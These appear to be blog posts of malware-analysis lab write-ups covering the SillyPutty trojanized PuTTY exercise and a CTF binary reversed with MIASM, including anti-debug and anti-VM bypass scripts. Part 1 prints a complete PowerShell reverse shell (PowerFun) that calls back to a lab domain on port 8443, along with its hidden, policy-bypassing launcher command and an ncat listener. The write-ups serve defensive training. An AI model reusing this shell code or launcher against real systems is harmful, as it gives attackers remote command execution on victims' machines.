unsigned

SillyPutty - Part 2

Thu, 10 Jul 2025 19:00:00 GMT

Objective

markdown

Hello Analyst,

The help desk has received a few calls from different IT admins regarding the attached program.
They say that they've been using this program with no problems until recently.
Now, it's crashing randomly and popping up blue windows when its run. I don't like the sound of that. Do your thing!

IR Team

Perform basic static and basic dynamic analysis on this malware sample and extract facts about the malware's behavior. Answer the challenge questions below.

Basic dynamic analysis

Describe initial detonation. Are there any notable occurances at first detonation? Without internet simulation? With internet simulation?

Running with and without internet simulation shows the same thing, a regular putty but a weird blue window briefly appears.

From the host-based indicators perspective, what is the main payload that is initiated at detonation? What tool can you use to identify this?

From the host-based indicators perspective, the main payload that is iniatiated at detonation is a powershell script which was identified during the static analysis phase. We can confirm this further by using procmon and monitoring putty.exe. From here we can see that putty.exe spawns a powershell console as a child process with the parameters identified in the first part.

What is the DNS record that is queried at detonation?

The DNS record that is queried at detonation is bonus2.corporatebonusapplication.local

What is the callback port number at detonation?

The callback port number at detonation is 8443

What is the callback protocol at detonation?

The callback protocol at detonation is SSL/TLS

How can you use host-based telemetry to identify the DNS record, port, and protocol?

To identify the DNS record, port and protocol using host-based telemetry, we can simply filter the PID from putty.exe and look for "Operation contains TCP"

Attempt to get the binary to initiate a shell on the localhost. Does a shell spawn? What is needed for a shell to spawn?

To iniate a shell on the localhost using the binary we can remove the -sslcon true argument from the payload. We can also reroute the traffic to the localhost and use the --ssl argument on our ncat command --> ncat -nvlp 8443 --ssl

SillyPutty - Part 1

Thu, 10 Jul 2025 18:21:00 GMT

Objective

markdown

Hello Analyst,

The help desk has received a few calls from different IT admins regarding the attached program.
They say that they've been using this program with no problems until recently.
Now, it's crashing randomly and popping up blue windows when its run. I don't like the sound of that. Do your thing!

IR Team

Perform basic static and basic dynamic analysis on this malware sample and extract facts about the malware's behavior. Answer the challenge questions below.

Basic static analysis

What is the SHA256 hash of the sample?

shell

$ sha256sum.exe putty.exe
0c82e654c09c8fd9fdf4899718efa37670974c9eec5a8fc18a167f93cea6ee83 *putty.exe

What architecture is this binary?

Using PEStudio, we can see that it's a 32-bit binary.

Are there any results from submitting the SHA256 hash to VirusTotal?

View full VirusTotal analysis

Describe the results of pulling the strings from this binary. Record and describe any strings that are potentially interesting. Can any interesting information be extracted from the strings?

If we checking the strings, we can see that a powershell command is sent :

shell

powershell.exe -nop -w hidden -noni -ep bypass "&([scriptblock]::create((New-Object System.IO.StreamReader(New-Object System.IO.Compression.GzipStream((New-Object System.IO.MemoryStream(,[System.Convert]::FromBase64String('{b64encoded_value}}'))),[System.IO.Compression.CompressionMode]::Decompress))).ReadToEnd()))"

Let's break it down to understand it :

nop: No Profile — Runs PowerShell without loading the user profile.
w hidden: Window Hidden — Starts PowerShell with a hidden window.
noni: No Interactive — Runs PowerShell non-interactively.
ep bypass: Execution Policy Bypass — Ignores script execution policy restrictions.

We can also understand from the scriptblock that it reads a base64-encoded Gzip-compressed powershell script and if we decompress it, we can see that it's a script called PowerFun.

powershell

PS C:\Users\concierge > $value
# Powerfun - Written by Ben Turner & Dave Hardy

function Get-Webclient
{
    $wc = New-Object -TypeName Net.WebClient
    $wc.UseDefaultCredentials = $true
    $wc.Proxy.Credentials = $wc.Credentials
    $wc
}
function powerfun
{
    Param(
    [String]$Command,
    [String]$Sslcon,
    [String]$Download
    )
    Process {
    $modules = @()
    if ($Command -eq "bind")
    {
        $listener = [System.Net.Sockets.TcpListener]8443
        $listener.start()
        $client = $listener.AcceptTcpClient()
    }
    if ($Command -eq "reverse")
    {
        $client = New-Object System.Net.Sockets.TCPClient("bonus2.corporatebonusapplication.local",8443)
    }

    $stream = $client.GetStream()

    if ($Sslcon -eq "true")
    {
        $sslStream = New-Object System.Net.Security.SslStream($stream,$false,({$True} -as
[Net.Security.RemoteCertificateValidationCallback]))
        $sslStream.AuthenticateAsClient("bonus2.corporatebonusapplication.local")
        $stream = $sslStream
    }

    [byte[]]$bytes = 0..20000|%{0}
    $sendbytes = ([text.encoding]::ASCII).GetBytes("Windows PowerShell running as user " + $env:username + " on " +
$env:computername + "`nCopyright (C) 2015 Microsoft Corporation. All rights reserved.`n`n")
    $stream.Write($sendbytes,0,$sendbytes.Length)

    if ($Download -eq "true")
    {
        $sendbytes = ([text.encoding]::ASCII).GetBytes("[+] Loading modules.`n")
        $stream.Write($sendbytes,0,$sendbytes.Length)
        ForEach ($module in $modules)
        {
            (Get-Webclient).DownloadString($module)|Invoke-Expression
        }
    }

    $sendbytes = ([text.encoding]::ASCII).GetBytes('PS ' + (Get-Location).Path + '>')
    $stream.Write($sendbytes,0,$sendbytes.Length)

    while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0)
    {
        $EncodedText = New-Object -TypeName System.Text.ASCIIEncoding
        $data = $EncodedText.GetString($bytes,0, $i)
        $sendback = (Invoke-Expression -Command $data 2>&1 | Out-String )

        $sendback2  = $sendback + 'PS ' + (Get-Location).Path + '> '
        $x = ($error[0] | Out-String)
        $error.clear()
        $sendback2 = $sendback2 + $x

        $sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
        $stream.Write($sendbyte,0,$sendbyte.Length)
        $stream.Flush()
    }
    $client.Close()
    $listener.Stop()
    }
}

powerfun -Command reverse -Sslcon true

After examining this script, we can be certain that it's a powershell reverse shell.

Describe the results of inspecting the IAT for this binary. Are there any imports worth noting?

After inspecting the IAT for this binary, it looks normal.

Is it likely that this binary is packed?

This binary is likely not packed since the size of raw data and virtual size of the headers are close values. We can also tell since the strings are detailed.

Binary analysis

Thu, 13 Mar 2025 15:34:00 GMT

Initial analysis

When examining a binary file, I first check for readable text strings, but found nothing useful:

shell

strings output.bin
:[d(u

Static analysis

Loading the file in IDA revealed a pattern common in malicious code:

Anti-Debug

This code works by:

Getting the Process Environment Block address using the FS segment
Reading the BeingDebugged flag at offset + 0x2
Checking if the flag is non-zero
If a debugger is detected, jumping to an exit point

Anti-VM

This code:

Reads the NumberOfProcessors value from PEB + 0x64
Checks if the system has 2 or fewer processors
If so, assumes it's running in a VM and jumps to the same exit point

Payload decryption

Following the anti-analysis technique used, the binary employs a multi-stage decryption routine :

Decryption routine

Registers are saved on the stack
Values are manipulated in ESI, EDI, and DL registers
Implements a XOR-based decryption loop:
- Loads bytes from ESI into AL
- Performs XOR operation between AL and DL
- Increments AL and stores result to EDI
- Continues until AL equals 0x0
Functions as a shellcode loader that decrypts values until reaching end of list (0x0)

Execution transition

Upon completion of decryption, executes POPAD to restore registers
Returns to loc_57 via RET 0x4

Stack preparation

Pushes multiple values onto the stack (0x0, ESI, EDI, etc.)
Pushes specific hex values (0x1361C78E, 0x8C2C7D7)
Calls loc_111

Function pointer setup

Pops a value from stack into ECX register
Calls loc_c0

DLL resolution

Sets EAX to 0
Accesses the Process Environment Block (PEB)
Navigates to PEB_LDR_DATA
Locates InMemoryOrderModuleList that contains Flink and Blink structures that are used to traverse loaded modules without calling suspicious APIs

DLL processing

Sets DLL pointer in ESI
Resets EDI to 0
Loads DLL characters byte-by-byte
Tests for end of string (EAX = 0)
Systematically processes DLL characters

Identifying the loaded DLL

To identify the loaded DLL, we can use a list of common DLLs, use the same hashing method as the binary and just compare the hashes we obtained. All of this will be done with the following script that uses the MIASM framework.

python

from miasm.analysis.machine import Machine
from miasm.core.locationdb import LocationDB
from miasm.jitter.csts import PAGE_READ, PAGE_WRITE, PAGE_EXEC
import sys

# Initialize x86 32-bit emulator
machine = Machine("x86_32")
loc_db = LocationDB()
jitter = machine.jitter(loc_db)

# Mapping shellcode
addr_shellcode = 0x10000
jitter.vm.add_memory_page(addr_shellcode, PAGE_READ | PAGE_WRITE | PAGE_EXEC, b"\x00" * 0x1000, "shellcode décodé")

shellcode = open('output_020.bin', 'rb').read()
jitter.vm.set_mem(addr_shellcode, shellcode)

# Mapping stack memory
addr_stack = 0x20000
jitter.vm.add_memory_page(addr_stack, PAGE_READ | PAGE_WRITE, b"\x00" * 0x1000, "stack")
jitter.vm.set_mem(addr_stack + 0x1000 - 4, b"\xef\xbe\x37\x13")
jitter.cpu.ESP = addr_stack + 0x1000 - 4

# Configure logging
jitter.set_trace_log(trace_instr=False, trace_regs=False, trace_new_blocks=True)

# Mapping dll name
addr_dllname = 0x30000
jitter.vm.add_memory_page(addr_dllname, PAGE_READ, b"\x00" * 0x1000, "dll name")

# Callback function for breakpoint
def dump(jitter):
    print("Hash: %x" % jitter.cpu.EDI)
    return False

# Set breakpoint at shellcode + 0xEB (end of hash computation)
jitter.add_breakpoint(addr_shellcode + 0xEB, dump)

# Process each DLL name from the list file
fdesc = open('dll.list')
for line in fdesc:
    line = line.strip()
    print(repr(line))
    jitter.cpu.ESI = addr_dllname
    jitter.cpu.EDI = 0
    dllname = line + "\x00"
    jitter.vm.set_mem(addr_dllname, dllname.encode("utf-16le"))
  
    jitter.run(addr_shellcode + 0xD2)

After running this script, we can compare the script output and the hash we previously got using IDA

We can also observe a function that does a decryption routine for the DLLs function

Dynamic analysis

Now that we understand how this binary works, we can dynamically analyse it using a miasm sandbox.

To do so, we will need to do the following :

Create a sandbox on an appropriate version
Inject the binary in the sandbox
Bypass the anti-debug verification
Bypass the anti-vm verification

The script below does it all for us :

python

from pdb import pm
from miasm.analysis.sandbox import Sandbox_Win_x86_32
from miasm.core.locationdb import LocationDB
from miasm.jitter.csts import PAGE_READ, PAGE_WRITE, PAGE_EXEC

# Initialize parser
parser = Sandbox_Win_x86_32.parser(description="PE sandbox")
parser.add_argument("filename", help="PE FILENAME")
options = parser.parse_args()

# Initialize sandbox
loc_db = LocationDB()
sb = Sandbox_Win_x86_32(loc_db, options.filename, options, globals())

# Mapping shellcode
addr_shellcode = 0x4000000
sb.jitter.vm.add_memory_page(addr_shellcode, PAGE_READ | PAGE_WRITE | PAGE_EXEC, b"\x00" * 0x1000, "shellcode")

# Mapping PEB isDebugged flag
addr_peb_flag = 0x7FFDF002
sb.jitter.vm.add_memory_page(addr_peb_flag, PAGE_READ | PAGE_WRITE, b"\x00" * 0x1, "PEB isDebugged")
sb.jitter.vm.set_mem(addr_peb_flag, b"\x00")  # Bypass the check by setting the isDebugged flag to 0

# Mapping PEB NumberOfProcessors flag
addr_peb_check = 0x7FFDF064
sb.jitter.vm.add_memory_page(addr_peb_check, PAGE_READ | PAGE_WRITE, b"\x00" * 0x4, "PEB NumberOfProcessors")
sb.jitter.vm.set_mem(addr_peb_check, b"\x03")  # Bypass the check by setting the NumberOfProcessors to 3

# Set shellcode
shellcode = open('output_012.bin', 'rb').read()
sb.jitter.vm.set_mem(addr_shellcode, shellcode)
sb.jitter.cpu.EAX = addr_shellcode

sb.run(addr_shellcode)

We can then run the script with the command below so we are able to interact with the sandbox

shell

python3 -i sandbox.py miasm/example/samples/box_upx.exe -b -s -y -l

The arguments used are the following :

-b : Log disasm blocks
-s : Use segments
-y : Create and use windows structures
-l : Load base dll

Once the script finished running, we can observe that a user32_MessageBoxA is present with the text present at 0x4000100

When we print the value at 0x4000100, we can obtain the flag !

Execution flow

Conclusion

This analysis revealed a binary employing multiple anti-analysis techniques:

Anti-debugging checks via the PEB's BeingDebugged flag
Anti-VM detection by counting processors

Using both static analysis and dynamic analysis, I was able to:

Bypass the protective measures
Understand the execution flow
Decrypt the payload
Identify the final action, a MessageBoxA call displaying a flag

Special thanks to serpilliere for the binary, esgr0bar, offpath and mins for the help given on the analysis

Sources : MIASM - PEB STRUCTURE